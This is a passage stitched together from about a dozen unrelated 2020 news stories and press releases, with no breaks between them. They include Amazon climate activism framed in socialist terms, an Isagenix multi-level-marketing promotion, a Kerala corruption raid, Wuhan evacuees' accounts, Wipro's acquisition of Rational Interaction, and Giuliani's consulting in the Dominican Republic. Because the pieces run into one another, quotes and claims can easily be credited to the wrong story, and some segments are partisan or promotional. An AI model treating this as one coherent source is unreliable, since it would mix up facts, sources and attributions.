5,000 on September 20 of last year as part of the Global Climate Strike in which four million people participated internationally. In response to this event, Jeff Bezos issued a Climate Manifesto that aligned Amazons emission reduction goals with a Washington, D.C. initiative called the Climate Pledge that would make the company carbon neutral by 2040. Large numbers of Amazon employees rejected this insufficient schedule and demanded a more aggressive plan that would make the company carbon neutral by 2030. They also pointed out Bezoss hypocrisy on climate questions since he was contributing financially to the Competitive Enterprise Institute, a think-tank that engages in climate denial on behalf of the fossil fuel industry. As activist employees continued to speak out and expose Amazons two-faced climate policies, the company mobilized its human resources department, which threatened to fire workers for violating its policies. In response to the Bezos Earth Fund, the Amazon Employees for Climate Justice published a statement on Twitter that states, As history has taught us, true visionaries stand up against entrenched systems, often at great cost to themselves. We applaud Jeff Bezos philanthropy, but one hand cannot give what the other is taking away. The people of Earth need to know: When is Amazon going to stop helping oil & gas companies ravage Earth with still more oil and gas wells? When is Amazon going to stop funding climate-denying think tanks like the Competitive Enterprise Institute and climate-delaying policy? When will Amazon take responsibility for the lungs of children near its warehouses by moving from diesel to all-electric trucking? Why did Amazon threaten to fire employees who were sounding the alarm about Amazons role in the climate crisis and our oil and gas business? What this shows it that employees speaking out workswe need more of that right now. Will Jeff Bezos show us true leadership or will he continue to be complicit in the acceleration of the climate crisis, while supposedly trying to help? There is no doubt that Bezoss climate initiative is also aimed at trying to dull the growing bitterness and anger of the broader public over the exploding wealth of a tiny number of billionaires while the rest of the worlds people are struggling to make ends meet. According to an Oxfam report published on January 20, the worlds 2,153 billionaires have more wealth than a combined 4.6 billion people on Earth. The corporate media has been mobilized to polish up the otherwise tarnished public perception of Bezos. Forbes, the enthusiastic publisher of an annual list of the worlds billionaires, has chimed in with unsolicited advice on how Bezos should spend his $10 billion, adding, Jeff Bezos has a tremendous opportunity to become a true climate leader. On the other hand, the public commentary on Twitter is dominated by bluntly honest statements. In one tweet, a poster said, Jeff Bezos didnt donate $10B to fight climate change hes setting up a $10B venture called the Bezos Earth Fund. In other words, hes founding a bank and using it to invest in the green sector, thereby profiting from & influencing how transition happens. Another wrote, If he honestly cared enough about an issue to sacrifice a significant amount of his wealth to it and significantly impact his life for the cause he would never have become a billionaire. ... They're horrifically flawed shells of people with no compassion for any cause. Under capitalism, the financial resources being applied to the climate change industry, such as the Bezos Earth Fund, are, above all, concerned with returns on investment. Groups of investors are competing with each other in research and development to find ways to earn a profit from green energy alternatives and methods for dealing with rising sea levels, record-breaking heat waves and uncontrollable wild fires. The unfolding environmental catastrophe, along with the existential threats of nuclear war and deadly viral pandemics, are rooted in the capitalist system. Alongside these, the growth of extreme wealth inequality and the existence of super-billionaires such as Jeff Bezos are incompatible with the needs of billions of people on the planet. These crises cannot be solved by wealthy individuals and their drop-in-the-bucket philanthropy. Solving the climate change crisis requires the dramatic and revolutionary reorganization of the productive forces of our global society carried out by the international working class on the basis of socialist economic planning. With more than $7 billion in cumulative global sales, as well as more than 400,000 customers worldwide, Isagenix is poised for growth with new independent distributors and customers experiencing our amazing offerings every day. - Travis Ogden, Isagenix CEO Isagenix International, a legacy global health and wellness company, continues to demonstrate its commitment to healthy change as it prepares for its 18th birthday in March. With a new chief visionary officer focused on positive impact for both customers and the planet for years to come, Isagenix is leading the way in sustainability, customer and independent distributor experience, and product offerings. With more than $7 billion in cumulative global sales, as well as more than 400,000 customers worldwide, Isagenix is poised for growth with new independent distributors and customers experiencing our amazing offerings every day, said Travis Ogden, Isagenix chief executive officer. We recognize the critical need to continue to innovate and invest in our business. By taking steps like eliminating our customer membership fee and regularly launching new products, we are prepared for a bright future. Erik Coover, son of Isagenix Co-Founders Jim and Kathy Coover, was promoted earlier this year to chief visionary officer with the main focus of driving the companys strategic vision, originally established by his parents, to impact world health and free people from physical and financial pain, and in the process, create the most trusted and respected health and wellness company in the world. In addition, Erik leads the fastest-growing Isagenix demographic millennials and spearheads the companys aggressive sustainability initiatives with a goal of zero waste packaging by 2028. One project contributing to the 2028 goal is transitioning all bottles and canisters to 100% post-consumer recycled (PCR) plastic by 2023. To date, more than 6 million canisters have been packaged in 100% PCR plastic, which is made using less energy and fossil fuels than recyclable virgin plastic. Switching the canisters to PCR plastic costs Isagenix more than $400,000 each year, a cost the company is absorbing and not passing on to customers. Travis Ogden continued, Erik is a perfect fit for this position because of his visionary leadership. He has worked his way up at Isagenix over the past decade, so he intimately understands the needs of our customers and our independent distributors. Alongside our incredible executive leadership team, Erik will help Isagenix stay steadfast in our approach as we focus on significant developments in technology and product innovation in 2020. Last month, Isagenix launched new wellness products to support customers working toward their health and wellness goals. Peanut Butter Bliss Snack Bites is a new 100-calorie snack thats designed to not only taste good but also to help satisfy hunger between meals. BEA Sparkling Energy Drink expanded its lineup with a Citrus Sunrise flavor. BEAs original Berry Bellini flavor debuted when the product launched in fall of 2019. BEA both energizes and nourishes the body with 125 milligrams of naturally sourced caffeine from green tea as well as raw nutrients and vitamins sourced from fruits and vegetables. In addition to debuting new product offerings in January, Isagenix also announced simplified customer membership benefits including the removal of the annual membership fee for customers and a new bonus opportunity for independent distributors. Now, customers receive a 25% discount on products when ordering without paying a membership fee, and independent distributors who meet all qualifying criteria can earn a bonus of up to $10,000 over 12 months.* To learn more about Isagenix, visit the Newsroom, like the company on Facebook, and follow it on Twitter and Instagram. *The ability to earn income under the Isagenix Compensation Plan depends on many factors including an individual Isagenix independent distributors business, social, and sales skills; personal ambition and activity; availability of time and financial resources; and access to a large network of family, friends, and business contacts. Isagenix cannot and does not guarantee any particular level of earnings. Even independent distributors who dedicate a significant amount of time, effort, and personal funds may not achieve a meaningful level of success. For average earnings, refer to IsagenixEarnings.com. About Isagenix International Established in 2002, Isagenix provides systems for weight loss, performance, vitality and well-being, personal care and beauty, and financial wellness. With more than 400,000 customers worldwide and more than 100 products, packs, and systems globally, the company is committed to supporting healthy change in its customers and independent distributors lives. Isagenix shares its products and solutions through a network of independent distributors in 14 markets: the United States, Canada, Puerto Rico, Hong Kong, Australia, New Zealand, Taiwan, Mexico, the United Kingdom, Ireland, the Netherlands, Belgium, Spain, and South Korea. Isagenix is a privately owned company with headquarters in Gilbert, Arizona. For more information, visit Isagenix.com. Anderson Global has strengthened its presence in North Africa under collaboration Agreement with Morocco-based advisory firm M.A. Global Consulting (MAGC), announced the American tax firm in a press release. After continuing expansion throughout Southern, Eastern and Western Africa, Andersen Global strengthens its presence in North Africa via a collaboration agreement with M.A. Global Consulting, the American tax firm said. MAGC was founded in 2005 by Office Managing Partner Mehdi El Attar and has grown to include three partners and nearly 30 professionals. The firm provides tax and legal services including bookkeeping, accounting supervision, legal advice, tax advice, management consulting, and information system assistance and organization. For the past 14 years, we have taken great pride in our stewardship and providing the best-in-class services to our clients, Mehdi said. The opportunity to collaborate with Andersen Global is an honor that will allow us to take our service offerings further, broadening our resources and reach around the globe. As we continue to expand our platform in this region, teaming with likeminded individuals ensures we are even better equipped to provide seamless, best-in-class service worldwide, said Mark Vorsatz, Andersen Global Chairman and Andersen CEO. Mehdi and his team set the standard. This collaboration is another key link in the expansion of our organization in Africa and addresses an important market that positions us for continued growth opportunities. Andersen Global is an international association of legally separate, independent member firms comprised of tax and legal professionals around the world. Established in 2013 by U.S. member firm Andersen Tax LLC, Andersen Global now has more than 5,000 professionals worldwide and a presence in over 167 locations through its member firms and collaborating firms. : The vigilance raid on former Congress minister and MLA V S Shivakumar was a political revenge game of the Kerala government, Opposition leader Ramesh Chennithala said on Friday. The Vigilance and Anti Corruption Bureau (VACB) on Thursday conducted the raid on the residence of former health minister Shivakumar here in connection with a disproportionate assets case against him. Chennithala alleged that the raid was the diversionary tactics of the state government to take the attention away from corruption in the police force. "This case and raid were part of the diversionary tactics of the state government to take the attention away from the rampant corruption in the police force as was pointed out by the CAG. Neither the government nor the chief minister has uttered a single word about the findings in the CAG report," Chennithala said in a press release. The raid happened a day after the Vigilance special cell had filed an FIR against the Congress leader naming him as the first accused in the case in which some of his personal staff were also involved. The case was registered when Shivakumar was the minister in the previous Oommen Chandy-led UDF government. Shivakumar was named the prime accused after the anti-corruption watchdog claimed that he amassed wealth disproportionate to his known sources of income, under the names of his staff. Chennithala said the matter was earlier investigated and was found that it carried no merit. "The Congress party and the United Democratic Front will fight this case legally and politically," Chennithala said. The raid, which started an Thursday at 8 AM ended after 11 PM and the vigilance officials have not disclosed the details of the raid. The raid was also conducted at the close aides of Shivakumar, who are co-accused in the case - M Rajendran, Shaiju Haran and advocate M S Harikumar. Meanwhile, Shivakumar, who met media on Friday, said the vigilance team failed to find any evidence against him. "They failed to find anything even after searching for over 14 hours. This was an attempt to tarnish the image of public workers like me," Shivakumar said. Last week, the state government had given permission to VACB to register a case against senior Congress legislator based on a complaint that he has assets disproportionate to his known sources of income. The VACB had earlier conducted an investigation based on the complaint against Shivakumar but had found nothing incriminating against him. However, the Vigilance had filed a report seeking a detailed investigation into the charges. The opposition Congress had alleged that the FIR was to divert the attention of the public from the CAG report which indicted the government, pointing at gross irregularities in funds utilisation. Shivakumar had earlier said that the government was settling political scores by registering an FIR against him. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Scientists have discovered a new species of land snail, and have named it Craspedotropis gretathunbergae in honour of the Swedish activist Greta Thunberg for her efforts to raise awareness about climate change. According to the study, published in the Biodiversity Data Journal, the newly discovered species belongs to the so-called caenogastropods -- a group of land snails known to be sensitive to drought, temperature extremes, and forest degradation. The scientists, including evolutionary ecologist Menno Schilthuizen from Naturalis Biodiversity Center in the Netherlands, said the snails were found very close to the research field station at Kuala Belalong Field Studies Centre in Brunei. They added that the snails were discovered at the foot of a steep hill-slope, next to a river bank, foraging at night on the green leaves of understorey plants. The effort aided by amateur scientist J.P. Lim, who found the first individual of the snail said, "Naming this snail after Greta Thunberg is our way of acknowledging that her generation will be responsible for fixing problems that they did not create." "And it's a promise that people from all generations will join her to help," Lim said. The researchers said they approached Thunberg who said that she would be "delighted" to have this species named after her. The study work including, fieldwork, morphological study, and classification of identified specimen was carried out in a field centre with basic equipment and no internet access, the scientists said. According to the study, the work was done by untrained citizen scientists' guided by experts, on a 10-day taxon expedition. "While we are aware that this way of working has its limitations in terms of the quality of the output (for example, we were unable to perform dissections or to do extensive literature searches), the benefits include rapid species discovery and on-site processing of materials," the researchers wrote in the study. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Kremlin on Friday dismissed a reported claim that Russia has been attempting to interfere in the U.S. electoral process to get President Donald Trump re-elected this year. Russian President Vladimir Putins spokesman described the claim as paranoid, according to comments carried by state news agency TASS. It was another in a series of paranoid reports. We regret to say that their number will grow as the election approaches. They certainly have nothing to do with the truth. U.S. media reported on Thursday that U.S. intelligence officials had briefed lawmakers on Russian attempts to boost Trumps 2020 re-election bid. The briefing included apparently new information that Moscow aimed to interfere with the Democratic primaries as well as the general election, according to the New York Times newspaper. Mr Trump expressed anger that Democrats were included in the briefing, claiming that the intelligence will be used by his rivals to attack him, according to multiple media reports, citing unnamed sources. On Friday, Mr Trump took to Twitter to accuse Democrats of starting a disinformation campaign. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa. Hoax number 7!, Mr Trump wrote. Democratic presidential hopeful Elizabeth Warren accused the president of shredding the rule of law and the integrity of our democracy. Russia is interfering in our election again to help elect Trump. After members of Congress were briefed about this threat, Trump fired the acting Director of National Intelligence, Warren tweeted. The president announced this week that he was replacing director of national intelligence Joseph Maguire with U.S. Ambassador to Germany Richard Grenell, a fierce Trump loyalist. The U.S. intelligence community has already concluded that Russia interfered in the 2016 election to boost Mr Trump, which led to special counsel Robert Muellers investigation. Mr Trump has slammed the investigation as a witch hunt. While Mr Trump has taken a softer rhetorical line on Russia versus his predecessors, he has sanctioned Moscow over its actions in Ukraine and expelled Russian officials in 2018. (dpa/NAN) bmw_lover BHPian Join Date: Sep 2019 Location: New Delhi Posts: 108 Thanked: 543 Times Elon Musk calls Bill Gates underwhelming after he buys a Porsche Taycan Elon Musk has called Bill Gates "underwhelming" on his twitter feed after he bought a Porsche Taycan and not a Tesla. The Tesla boss then suggested he had been disappointed in discussions with Bill Gates. "My conversations with Gates have been underwhelming tbh," he wrote in after a Twitter user alerted him of Mr Bill's purchase. Bill Gates, a couple of days earlier admitted to having bought the Porsche sports car during a video interview with Youtuber Marques Brown lee, in which both discussed EVs. Although Mr. Gates in that interview began by lavishing praise on Tesla, saying that "if you had to name one company thats helped drive [an effort to lower emissions], its them". But he said that he had in fact bought a "very, very cool" Porsche Taycan for himself, eschewing Tesla's vehicles. And he also suggested that there remained problems with electric vehicles, such as the high price and the problem of "range anxiety", which leaves drivers concerned their battery might run out with no way of quickly charging them up. I think Mr. Gates is not helping anyone by making his observations about EVs public as many think of him as a smart guy and they would be more influenced by his comments in not adopting this technology. These comments have the power to dampen the efforts made by Tesla and Elon Musk to popularise EVs. #Mods, please remove post if not appropriate. Last edited by ajmat : 19th February 2020 at 19:18 . Reason: typo [February 21, 2020] Wipro Digital Acquires Rational Interaction, Enhancing Customer Experience Offerings and Boosting Digital Marketing Capabilities SEATTLE and BANGALORE, India, Feb. 21, 2020 /PRNewswire/ -- Wipro Digital, the digital business unit of Wipro Limited (NYSE: WIT, BSE: 507685, NSE: WIPRO) announced today that it has acquired Rational Interaction, a full-service digital customer experience (CX) company. The acquisition will scale Wipro Digital's offering for Chief Marketing Officers, connecting Rational Interaction's ability to map and orchestrate the customer journey with Wipro Digital's ability to design and build experiences at global scale. Together, the companies will provide bespoke and effective solutions for the marketing suite. Long-term revenue cannot be generated from a single splashy marketing effort. Rather, it requires an ecosystem of connected touchpoints across the entire customer journey. The combined offerings from Wipro Digital and Rational Interaction will address this and help CMOs scale for the future. Rational Interaction helps brands create sustained CX program success, with core offerings that include strategic advising, customer acquisition, and customer lifecycle management. This expertise in digital marketing and experience management complements Wipro Digital's capabilities across digital engineering, architecture and design. Rational Interaction's deep CX expertise and Wipro's global scale and industry expertise will provide companies and their CMOs with the comprehensive digital programs and journeys needed in today's customer-centric world. "This acquisition comes at a time when companies increasingly compete solely on CX, and the market for CX spending is growing exponentially," said Rajan Kohli, President and Head, Wipro Digital, Wipro Limited. "Discovering, refining and optimizing the customer experience from first impression through repeat sale requires best-in-class talent, unique marketing technologies and methodologies, and the ability to scale and demonstrate payback quickly. Together, Wipro and Rational Interaction are a perfect combination for CMOs." The end-customer in almost every industry, but especially the hi-tech industry, is being constantly redefined. As a result, customer and channel partner journeys need to be re-imagined. "Capturing customer sentiment in real time and using AI to engage with customers in more meaningful ways will drive higher engagement, purchase and loyalty. Rational Interaction's and Wipro's combined capability provides an end-to-end solution for clients, who know they have to compete on customer experience," said Nitin Parab, Sr. Vice-President and Global Head, Technology Business Unit, Wipro Limited. Founded in 2009, Rational Interaction is headquartered in Washington with more than 300 employees worldwide and offices in Seattle and Bellevue, WA; Dublin; and Sydney. Founded and led by women, the company has become one of Washington state's 100 largest privately-held companies with a roster of Fortune 50 clients. "As companies continue their digital transformation journeys, we see CMOs increasingly stepping in as the leaders of these initiatives, tasked with representing the voice of the customer and ensuring that the digital transformation pays off the brand promise. Wpro's global presence and partnerships with industry leaders provides an opportunity to scale Rational Interaction's CX offerings, building on our success in developing and launching brand-defining campaigns," said Kahly Berg, CEO, Rational Interaction. "The customer journey has never been more complex and partnering with an industry leader such as Rational Interaction boosts our ability to create innovative, effective and scalable campaigns that drive brand loyalty while increasing customer retention and sales conversion. We partner with Rational Interaction to deliver marketing programs from a customer first perspective and create seamless brand experiences that continue to evolve to meet the needs of our constantly changing business landscape," said Richard Black, Vice President of Marketing for Acer. Rational Interaction will continue to grow and service its clients, with no plans to reduce its current staff, as it integrates with Wipro Digital. Investment Bank CG / Petsky Prunier, part of Canaccord Genuity, served as exclusive financial advisor to Rational Interaction in the transaction. About Wipro Digital Wipro Digital, the digital business unit of Wipro, collaborates and iterates with clients to deliver customer-centered digital transformation. Working at the intersection of strategy, design and technology, we derive insight, shape interaction, drive integration and unlock innovation for our clients. We apply Customer Journey Engineering to create extraordinary experiences for global brands, businesses and their customers at scale. Learn more at wiprodigital.com or @WiproDigital About Wipro Limited Wipro Limited (NYSE: WIT, BSE: 507685, NSE: WIPRO) is a leading global information technology, consulting and business process services company. We harness the power of cognitive computing, hyper-automation, robotics, cloud, analytics and emerging technologies to help our clients adapt to the digital world and make them successful. A company recognized globally for its comprehensive portfolio of services, strong commitment to sustainability and good corporate citizenship, we have over 175,000 dedicated employees serving clients across six continents. Together, we discover ideas and connect the dots to build a better and a bold new future. About Rational Interaction Rational is a customer experience (CX) solutions firm that brings the strategic capabilities of a consultancy together with the creative and digital prowess of an agency. We think about ways to lift the overall customer experience from acquisition to advocacy and bring multi-disciplinary teams together to build comprehensive CX solutions. We address not just a singular ask from our clients but work to see how that ask connects into the broader range of touchpoints their customers will experience throughout the buying journey. Based in Seattle, Washington, our clients consist of some of the world's biggest brands. For more information, visit http://www.rationalcx.com. Media Contacts Purnima Burman Wipro Limited [email protected] Brianna Rabe Ruder Finn for Wipro Digital [email protected] Forward-looking and Cautionary Statements Certain statements in this release concerning our future growth prospects are forward-looking statements, which involve a number of risks, and uncertainties that could cause actual results to differ materially from those in such forward-looking statements. The risks and uncertainties relating to these statements include, but are not limited to, risks and uncertainties regarding fluctuations in our earnings, revenue and profits, our ability to generate and manage growth, intense competition in IT services, our ability to maintain our cost advantage, wage increases in India, our ability to attract and retain highly skilled professionals, time and cost overruns on fixed-price, fixed-time frame contracts, client concentration, restrictions on immigration, our ability to manage our international operations, reduced demand for technology in our key focus areas, disruptions in telecommunication networks, our ability to successfully complete and integrate potential acquisitions, liability for damages on our service contracts, the success of the companies in which we make strategic investments, withdrawal of fiscal governmental incentives, political instability, war, legal restrictions on raising capital or acquiring companies outside India, unauthorized use of our intellectual property, and general economic conditions affecting our business and industry. Additional risks that could affect our future operating results are more fully described in our filings with the United States Securities and Exchange Commission. These filings are available at www.sec.gov. We may, from time to time, make additional written and oral forward-looking statements, including statements contained in the company's filings with the Securities and Exchange Commission and our reports to shareholders. We do not undertake to update any forward-looking statement that may be made from time to time by us or on our behalf. View original content to download multimedia:http://www.prnewswire.com/news-releases/wipro-digital-acquires-rational-interaction-enhancing-customer-experience-offerings-and-boosting-digital-marketing-capabilities-301009138.html SOURCE Wipro Limited [ Back To TMCnet.com's Homepage ] LOS ANGELES, CA / ACCESSWIRE / February 21, 2020 / Compare-autoinsurance.org (http://compare-autoinsurance.org/) is a top auto insurance brokerage website, providing car insurance quotes online from trustworthy agencies all over the United States. This website offers car insurance info about different coverage types, available discounts, and money-saving tips. Car insurance costs can be kept under control by utilizing car insurance discounts. Policyholders have access to multiple types of discounts with different savings amounts. The main advantage of discounts is that they save the policyholder's insurance money. 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India has despatched a C-17 Globesmart, the largest military aircraft in its fleet, to bring back on Friday the remaining 100 or so Indians left in Wuhan. Air India has already evacuated more than 600 Indians from the city. Ashish and Neha spoke to Syed Firdaus Ashraf.Rediff.com over the phone from Wuhan of waiting to come back to India. Ashish Yadav At present we don't know what time the flight is coming. The only thing we know is that we are going to leave Wuhan tomorrow. We are only hoping that we come back to India soon. All the buildings around my home are sealed. In fact, a university hostel close to my building has been converted into an isolation ward. My Chinese neighbours are helping me to get food and drinking water. I have not spoken face to face with anyone since January 22. There are only nine of us in our building and they all are Chinese. Like us, they also stay indoors all the time. The fear is so palpable that no one steps out and talks to one another. Each of us thinks the other is positive for coronavirus. The Chinese government hasn't ordered people not to interact, but the atmosphere of fear lingers heavily all over. The Chinese authorities have asked people not to walk in groups and try to remain solitary. The person who delivers food to us messages on the WeChat app and then at a decided time he drops food at the main gate of our building. We are not allowed to go and pick up the food immediately. After the delivery boy leaves, we are allowed to leave our flat after 30 minutes and pick up our order. This is a rule that everyone has to follow in the university campus. The delivery boy fears we might have coronavirus and we, on the other hand, fear that the delivery boy must be carrying coronavirus so it is a cycle of fear where everyone fears each other. We are keeping a distance from everyone. On January 24, I tried to walk around our campus. I saw a man walking towards me, but suddenly he changed direction, fearing he would contract the virus. I don't know how far things have improved in Wuhan. Yesterday, one Chinese news article stated that water in our pipes might be contaminated with coronavirus. I have no idea whether this is true or not. And therefore we have stopped using tap water too. We used to boil tap water and drink, but now we depend on bottled water. I have stopped watching the news because I get more worried after watching the news. I don't feel like working too. And even if I call my family back home, how long can I talk? I keep fearing the worst every time I feel feverish or sneeze leading to many sleepless nights. If that wasn't enough, when you go to any store to buy medicines for fever, the employees inform the doctors and you are forced to go to hospital for a check-up. Earlier, they would check our body temperature every two hours to find out whether I have contracted coronavirus or not; that routine changed to one day a week and now they have stopped that. I believe we are in the safe zone now. Rumour mongering regarding coronavirus is very rampant. Some say inhaling dust particles could lead to being tested positive, forcing many to shut their windows. However, how long can one stay in an air-conditioned room? We cannot even dry our clothes as we have to keep all our wet clothes inside the room because we now fear coronavirus might enter through air. The Chinese government is cracking down on people who are spreading rumours and till date 15,000 people have been arrested. The government is trying its best to control rumours, but they refuse to die. Another rumour was that garlic water was a cure for coronavirus. The other was that if one drank whiskey or wine you wouldn't be affected by the virus. This resulted in a rise in sale of whiskey and wine. Soon, there was no whiskey and wine was available in Wuhan. Neha Ashish Yadav I had a miscarriage and returned home on January 22. On that very day, the entire city of Wuhan was shut down. I am thankful that I came back on January 22 or else I would have been confined to a hospital which would have been worse. The worst day for me was when the doctors came to our home to check whether we were infected with coronavirus or not. There were 10 of them, all dressed up like astronauts. I cried and cried because I felt if I am found positive for coronavirus I would die in China and never see my country again. Luckily, I was not positive. And rumours spread so fast on the university campus that we were detected with coronavirus which was untrue. The only way to spend our time is the WeChat group all the Indians staying in Wuhan have formed. We have become friends as we are all in the same boat. Every day we feel the Air India flight will come, but it has not come yet. We have run out of food and we don't have flour. We are only eating rice. There is no bread, butter or jam too. We have stopped eating breakfast and eat lunch at 11 am. In fact, we have stopped enjoying meals and only want to come back to India. My family is worried as they know that the isolation ward has come very close to our home; it is only 20 metres away from our home and it is just a crossing away. Our government is trying its best to bring us back. We were told yesterday that we have to keep our belongings packed and ready as the plane could come anytime from India. Now we are waiting for that official phone call from the Indian embassy that will finally say that the flight has landed, and to come back home. Yale University Art Gallerys latest exhibition is a cross-collection mix of artists work and natures organized by a Yale alum from Easton who is questioning the lines that humans draw. James Prosek: Art, Artifact, Artifice will run through June 7 at the Chapel Street gallery, assembling objects from the collections of the gallery, the Yale Peabody Museum of Natural History and the Yale Center for British Art. Prosek, 44, born in Stamford, is an award-winning artist, naturalist and writer who has placed an installation of 222 bird specimens from Peabodys collection at the centerpiece of his show affixed to the wall and organized by color. The point? The 15-foot-wide display suggests that in the color spectrum, clear lines do not exist. The same with evolution, says a Yale release. Where, for example, does red end and orange begin? Likewise, it is often difficult to define where one species ends and another begins in the evolutionary timeline. The exhibition place Proseks own work in dialogue with a wide range of both man-made objects and those produced by billions of years of evolution. By challenging traditional separations of museum collections into art and artifact, or natural and man-made, says the Yale release, Prosek asks viewers to explore to what extent these distinctions matter. Should we draw such boundaries? Or do they limit what we are able to see, substituting categories and classifications for pure experience? What would happen, Prosek is quoted, if we stop putting things into neat categories and simply marvel at the wondrous and complex world of which we are a part? On display is the work of European and American artists, including Paul Gauguin and John Constable, Martin Puryear and Helen Frankenthaler, Japanese woodblock prints, Persian ceramics, an Indonesian fish trap, bird eggs, the skull of a Torosaurus dinosaur and a bison-horn cup. About a third of the nearly 100 objects in the show are Proseks own, including canvases, collages and sculptures that weave together the shows major themes. SANTO DOMINGO, Dominican Republic - The politics of this Caribbean island nation do not frequently capture the attention of the stewards of America's foreign policy, but Secretary of State Mike Pompeo phoned down last summer with a clear message. Dominican President Danilo Medina's supporters were pushing to change the country's constitution to allow him to run for an unprecedented third term. In a call with the president, Pompeo emphasized the importance of "adherence to rule of law and the constitution," according to a State Department readout. That message was echoed a week later in person by President Donald Trump's personal attorney Rudolph W. Giuliani. "If you want to change the constitution, change it for the future," Giuliani told reporters during a July 2019 visit to Santo Domingo. "Don't make it look like you're changing it for you. Don't change it for this election." Giuliani was not in the Dominican Republic as Trump's representative. He was speaking as a paid consultant to an opposition presidential candidate, Luis Abinader, a businessman who had been protesting the possibility of a constitutional change allowing the incumbent to run again. Days later, Medina announced that he would not seek reelection. The overlapping interests of the U.S. administration and Giuliani's paying client underscores how his decision to work as an international consultant while serving as Trump's lawyer has caused disquiet, both among foreign leaders and U.S. administration officials. Giuliani's presence in Santo Domingo annoyed rival Dominican presidential candidates who felt Abinader was trying to buy his campaign an American seal of approval, according to candidates and their advisers. And it concerned officials in the presidential palace who scrutinized Giuliani's comments for signs he was speaking for Trump, according to a person familiar with the discussions who spoke on the condition of anonymity to describe internal talks. Giuliani's visit to the Dominican Republic came around the same time that he - with Trump's backing - had been pressing Pompeo and U.S. diplomats to push Ukraine to announce investigations into Trump's political opponents, a gambit that led to the president's impeachment. The State Department did not respond to multiple requests for comment. Giuliani did not respond directly to a question about whether he met with anyone at the State Department about his client there. "Why in the world would you care about my work in the DR except to once again try to suggest falsely that there is some question about it?" he asked in a text message. "Don't you have anything better to do? Whatever I did in DR was perfectly lawful and appropriate." The full scope of Giuliani's clientele is not known. The uncertainty about who he represents - and his willingness to take on foreign clients with interests before the U.S. government while working for the president - has alarmed senior administration officials, as The Washington Post has previously reported. In his various meetings last year with foreign and U.S. officials, Giuliani toggled between serving as Trump's emissary and representing other interests. During a sit-down in August with a top Ukrainian official to discuss the investigations Trump wanted, Giuliani advocated for a former client, the mayor of Kyiv. On that same trip, he stayed at a historic estate of a client, Venezuelan energy executive Alejandro Betancourt Lopez - and later met with top Justice Department officials to urge them not to charge him in a money-laundering case. Giuliani, who says he works for Trump free, has told The Post that he is always careful to make clear he is a private lawyer for the president, not a representative of the U.S. government. Since 2015, Giuliani has been hired by Abinader as a security consultant two times, according to Samuel Pereyra, an official in the Abinader campaign who managed the contracts.His most recent contract, for $75,000, was secured last June, Pereyra said, more than a year after Giuliani joined Trump's legal team. For that sum, Giuliani made a two-day trip to the Dominican Republic in July, appearing with the candidate at a briefing for reporters and visiting a poor neighborhood in the capital, where he said people shouldn't have to live behind bars like prisoners. While he was there, Giuliani also puffed cigars at his favorite Dominican cigar club and dined at the residence of the U.S. ambassador, Robin Bernstein, one of Trump's longtime Palm Beach, Florida, friends and an original member of Mar-a-Lago, according to people familiar with his activities. Some members of Abinader's campaign team felt it was a mistake to rehire Giuliani, saying he spoke in generalities and provided little of value, and worried that the candidate had brought him aboard to get access to the president. "I think [Abinader] wanted a direct line to Trump," said one adviser, who spoke on the condition of anonymity to describe internal discussions. "For me, that's the principal reason he was hired: It's a link to the White House and the State Department." Abinader denied that, telling The Post in an interview that he did not hire Giuliani to curry favor with the Trump administration. The two discussed only security issues, he said. - - - The campaign caravan inched through the narrow streets of Villa Altagracia, a working-class exurb north of Santo Domingo, blasting merengue and reggaeton basslines for the dancing crowds. Abinader stood up through the sunroof of his armored SUV and blew kisses to those below. "Here he is, the next president of the republic!" the emcee called out last month. With his composed, somewhat stiff persona, Abinader is not known for his charisma with the masses. But his pro-business, law-and-order message has resonated with voters who are tired of persistent crime and allegations of corruption in a ruling party that has been in power for 20 of the past 24 years. The Dominican Republic was ranked last year in the bottom quarter of Transparency International's list of most corrupt countries in the world. Abinader is a wealthy businessman of Lebanese descent whose father had been a cabinet minister, a presidential candidate and the founder of a private university. His family's diverse holdings included hotels, cement plants and data processing centers, according to Abinader's advisers. Before Abinader's first run for president in 2016, public opinion surveys showed that Dominicans' most pressing concern was crime and violence, and his polling numbers on these topics trailed other candidates. Like many Dominicans, Abinader had relatives in New York City, with particularly strong connections to Queens: His grandfather ran Corona Hardware in the borough. One of his cousins, Rodolfo Fuertes, was the president of the National Supermarket Association at the time, and suggested in 2015 that Abinader's campaign might benefit from Giuliani's help, Abinader said in an interview. The former New York mayor was famous for reducing crime during his tenure. After leaving office, Giuliani sought to capitalize on that reputation, offering consulting services on security and police reform to countries around the world. "You have to see Giuliani, he can clean up Santo Domingo," Abinader recalled being told in a meeting with Fuertes and others. After being hired on a $100,000 contract, Giuliani Security and Safety produced a 38-page report for the campaign in April 2016 that discussed crime trends and recommended several reforms of the Dominican police, Pereyra said. That year, during a visit to Santo Domingo, Giuliani told an audience that the solution to the country's crime problems boiled down to one thing: eliminating corruption. "No tolerance. Not allowed. It has to end," Giuliani told the crowd. "Corruption no mas." Abinader lost that bid. After Trump won his White House race later that year, Giuliani invited Abinader to the inauguration, where he attended a Latino gala at the Mandarin Oriental hotel in Washington and met with Giuliani and others, Abinader said. Abinader decided to rehire Giuliani last June, Pereyra said. Abinader said in an interview that he valued Giuliani's counsel on security matters and the firm's advice helped him generate a security plan for the country. "It was a very important campaign issue," Abinader said. "I ended up highest in the polls in terms of fighting criminality." - - - By last summer, with Giuliani's Ukrainian efforts at full steam, he made a return trip to Santo Domingo. At that point, Giuliani had been Trump's personal lawyer for nearly a year and a half. He also had been in contact with the secretary of state. In late March, Giuliani spoke to Pompeo by phone at least twice, according to State Department emails. In May, he sent Pompeo a packet of materials about his Ukraine research in a Manila envelope with "The White House" written as the return address, according to documents released during the impeachment probe. Giuliani has said repeatedly that he did not do any lobbying related to his consulting in the Dominican Republic. In a previous interview with The Post, he described his work there and in other countries as focused only on security services. Given his prominence, the Abinader campaign asked the U.S. Embassy if it wanted to provide security for Giuliani's visit in July. Embassy officials declined, as Giuliani was not a U.S. government employee, according to Abinader advisers. The embassy referred questions about Giuliani's visit to the State Department, which did not respond to requests for comment. Abinader's team picked Giuliani up from the airport on July 16. The candidate and his aides met with Giuliani in a JW Marriott conference room for a couple of hours to discuss what Giuliani would tell the press the following day. "Giuliani was the front man, the personality," said Roberto Alvarez, a former Dominican ambassador to the Organization of American States and a foreign policy adviser to Abinader who met with Giuliani that day. "He knows nothing about the cultural 